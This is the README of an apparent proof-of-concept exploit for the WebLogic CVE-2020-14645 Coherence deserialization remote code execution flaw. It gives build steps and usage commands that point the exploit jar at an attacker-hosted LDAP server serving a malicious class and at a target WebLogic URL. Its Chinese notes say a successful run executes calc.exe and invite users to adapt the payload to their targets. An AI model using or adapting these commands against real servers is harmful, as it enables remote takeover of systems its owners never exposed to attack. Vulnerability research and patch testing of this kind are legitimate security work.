Java PoC for WebLogic CVE-2020-14645 Coherence deserialization RCE. Hosts a malicious class via LDAP and triggers remote code execution on vulnerable WebLogic servers.
Maven 3
JDK 1.8
mvn package
具体的测试步骤：
由于此漏洞与 Apache Dubbo 这个漏洞类似，请参加这个漏洞来实现 1-4 这几个步骤。
java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL
# 示例
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002
如果使用本例提供的 POC，利用成功后被测目标会执行 calc.exe。请自行根据测试目标环境来修改 POC。